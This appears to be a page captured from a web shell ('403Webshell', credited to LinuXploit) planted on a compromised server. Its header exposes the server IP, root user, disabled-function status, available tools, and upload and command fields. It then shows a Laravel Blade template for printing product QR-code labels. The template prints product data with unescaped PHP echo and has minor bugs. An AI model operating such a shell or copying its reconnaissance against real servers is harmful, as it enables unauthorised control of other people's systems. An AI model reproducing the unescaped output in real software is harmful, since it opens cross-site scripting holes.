403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.6
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/php/thanhphuong/resources/views/product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/php/thanhphuong/resources/views/product/scan_qrcode_data.blade.php
@extends('layout.main') @section('content')
@if(session()->has('not_permitted'))
  <div class="alert alert-danger alert-dismissible text-center"><button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>{{ session()->get('not_permitted') }}</div> 
@endif
<style>
    /*.qrcodelist {
        max-width: 378px;
        text-align: center;
    }
    .qrcodelist img {
        max-width: 150px;
    }*/

    @media print {
        * {
            font-size:12px;
            line-height: 20px;
        }
        td,th {padding: 5px 0;}
        .hidden-print {
            display: none !important;
        }
        @page { size: landscape; margin: 0 !important; }
        .qrcodelist {
            max-width: 378px;
        }
        .qrcodelist img {
            max-width: 150px;
        } 
    }

</style>
<section class="forms">
    <div class="container-fluid">
        <div class="row">
            <div class="col-md-12">
                <div class="card">
                    <div class="card-header d-flex align-items-center">
                        <h4>{{trans('file.qrcode_info')}}</h4>
                    </div>
                    <div class="card-body">
                        <div class="row">
                            <div class="col-md-12">
                                <p><strong>{{trans("file.Code")}}: </strong> <?php echo $QRCodeData["info"]->code; ?> </p>
                                <p><strong>{{trans("file.name")}}: </strong> <?php echo $QRCodeData["info"]->name; ?> </p>
                                
                                @if(isset($QRCodeData["info"]->brand->title))
                                    <p><strong>{{trans("file.Brand")}}: </strong> <?php echo $QRCodeData["info"]->brand->title; ?> </p>
                                @endif
                                @if(isset($QRCodeData["info"]->qty))
                                    <p><strong>{{trans("file.Quantity")}}: </strong> <?php echo $QRCodeData["info"]->qty; ?> </p>
                                @endif

                                @if(!empty($QRCodeData['warehouse']))
                                    <table class="table table-hover"> 
                                        @foreach($QRCodeData["warehouse"]["product_warehouse"] as $warehouse) 
                                            <tr>
                                                <td> 
                                                    @if(isset($warehouse[0]))
                                                        {{$warehouse[0]}} 
                                                    @endif 
                                                </td> 
                                                <td>
                                                    @if(isset($warehouse[1]))
                                                        {{$warehouse[1]}} 
                                                    @endif
                                                </td>
                                            <tr> 
                                        @endforeach
                                    </table>
                                @endif
                            </div>
                            <div class="col-md-5">
                                
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-md-12">
                            <p><strong>{{trans("file.Adjustment History")}}: </strong></p> 
                                <table class="table table-hover"> 
                                <thead>
                                    <th >{{trans('file.Lot Number')}}</th>
                                    <th>{{trans('file.Serial Number')}}</th>
                                    <th>{{trans('file.Batch Number')}}</th>
                                </thead>
                                    @foreach($QRCodeData["purchases"]["product_purchases"] as $purchase) 
                                        <tr>
                                             
                                            <td> 
                                                @if($purchase->lot_number)
                                                    {{$purchase->lot_number}}
                                                @else
                                                    -
                                                @endif
                                            </td>
                                            <td> 
                                                @if($purchase->serial_number)
                                                    {{$purchase->serial_number}}
                                                @else
                                                    -
                                                @endif
                                            </td> 
                                            <td> 
                                                @if($purchase->batch_number)
                                                    {{$purchase->batch_number}}
                                                @else
                                                    -
                                                @endif
                                            </td> 
                                        <tr>
                                    @endforeach
                                </table>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div> 
</section>

<script type="text/javascript">
    var qrcodejs = new QRCode("qrcode", {
        text: "_",
        width: 250,
        height: 250,
        colorDark: "#000000",
        colorLight: "#ffffff",
        correctLevel: QRCode.CorrectLevel.H
    });

    $("ul#product").siblings('a').attr('aria-expanded','true');
    $("ul#product").addClass("show");
    $("ul#product #printQrcode-menu").addClass("active"); 

    //Delete product
    $("table.order-list tbody").on("click", ".ibtnDel", function(event) {
        rowindex = $(this).closest('tr').index();
        $(this).closest("tr").remove();
    }); 

    $("#submit-button").on("click", function(event) {
        paper_size = ($("#paper-size").val());
        if(paper_size != "0") {
            var product_name = [];
            var product_code = [];
            var code = [];
            var price = [];
            var promo_price = [];
            var qty = [];
            var qrcode_image = [];
            var currency = [];
            var currency_position = [];
           
            var lot_number = [];
            var serial_number = [];
            var batch_number = [];
            var classify = [];
            var expiry_date = [];
            var manufacturer = [];
            var address_manufacturer = [];

            var rownumber = $('table.order-list tbody tr:last').index();
            for(i = 0; i <= rownumber; i++){
                var _product_code = $('table.order-list tbody tr:nth-child(' + (i + 1) + ')').find('td:nth-child(3)').text();
                product_name.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').find('td:nth-child(2)').text());
                code.push(_product_code);
                price.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('price'));
                price.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('price'));
                promo_price.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('promo-price'));
                currency.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('currency'));
                currency_position.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('currency-position'));
                qty.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').find('.qty').val());
                lot_number.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('lot-number'));
                serial_number.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('serial-number'));
                batch_number.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('batch-number'));
                classify.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('classify'));
                var _tmpExpireDay = new Date($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('expiry-date'));
                let formattedDay = `${_tmpExpireDay.getDate()}/${_tmpExpireDay.getMonth() + 1}/${_tmpExpireDay.getFullYear()}`;
                expiry_date.push(formattedDay);
                manufacturer.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('manufacturer'));
                address_manufacturer.push($('table.order-list tbody tr:nth-child(' + (i + 1) + ')').data('address-manufacturer'));
                if(serial_number == "" || serial_number == undefined || serial_number == 'null') {
                    _product_code = "/products/qrcode/"+_product_code+"/seri_batch/" + batch_number;    
                } else {
                    _product_code = "/products/qrcode/"+_product_code+"/seri_batch/" + serial_number;
                }
                
                var _qrcodeURL = "<?php echo URL::to('/') ?>";
                qrcodejs.makeCode(_qrcodeURL + _product_code); // make another code.
                /*get base64*/ 
                var imgBase64Data = qrcodejs._oDrawing._elCanvas.toDataURL("image/png");
                qrcode_image.push( imgBase64Data );
            }
            var htmltext = '<table class="qrcodelist" style="width:100%;" cellpadding="5px" cellspacing="10px">';
            $.each(qty, function(index){
                i = 0;
                while(i < qty[index]) { 
                    htmltext +='<tr>';
                        // 36mm
                        if(paper_size == 36)
                            htmltext +='<td style="width:164px;height:88%;padding-top:7px;vertical-align:middle;text-align:center">';
                        //24mm
                        else if(paper_size == 24)
                            htmltext +='<td style="width:164px;height:100%;font-size:12px;text-align:center">';
                        //18mm
                        else if(paper_size == 18)
                            htmltext +='<td style="width:164px;height:100%;font-size:10px;text-align:center">';

                        if(paper_size == 18)
                            htmltext += '<img style="max-width:150px;height:100%;max-height:150px" src="'+qrcode_image[index]+'" alt="qrcode" /><br>';
                        else
                            htmltext += '<img style="max-width:220px;height:100%;max-height:220px" src="'+qrcode_image[index]+'" alt="qrcode" /><br>';
                        htmltext +='</td>';
                        htmltext +='<td>';
                            if($('input[name="name"]').is(":checked"))
                                htmltext += product_name[index] + '<br>';
                            if($('input[name="code"]').is(":checked"))
                                htmltext += "Mã hàng: " + code[index] + '<br>';
                            if($('input[name="lot_number"]').is(":checked"))
                                htmltext += "LOT: " +lot_number[index] + '<br>'; 
                            if($('input[name="classify"]').is(":checked"))
                                htmltext += "Phân loại: " +classify[index] + '<br>'; 
                            if($('input[name="expiry_date"]').is(":checked"))
                                htmltext += "Hạn sử dụng: " +expiry_date[index] + '<br>'; 
                            if($('input[name="manufacturer"]').is(":checked"))
                                htmltext += "NSX: " +manufacturer[index] + '<br>'; 
                            if($('input[name="address_manufacturer"]').is(":checked"))
                                htmltext += "Nước SX: " +address_manufacturer[index] + '<br>';
                        htmltext +='</td>'; 
                    htmltext +='</tr>'; 
                    i++;
                }
            });
            htmltext += '</table">';
            $('#label-content').html(htmltext);
            $('#print-qrcode').modal('show');
        }
        else
            alert('Please select paper size');
    });

</script>
@endsection

Youez - 2016 - github.com/yon3zu
LinuXploit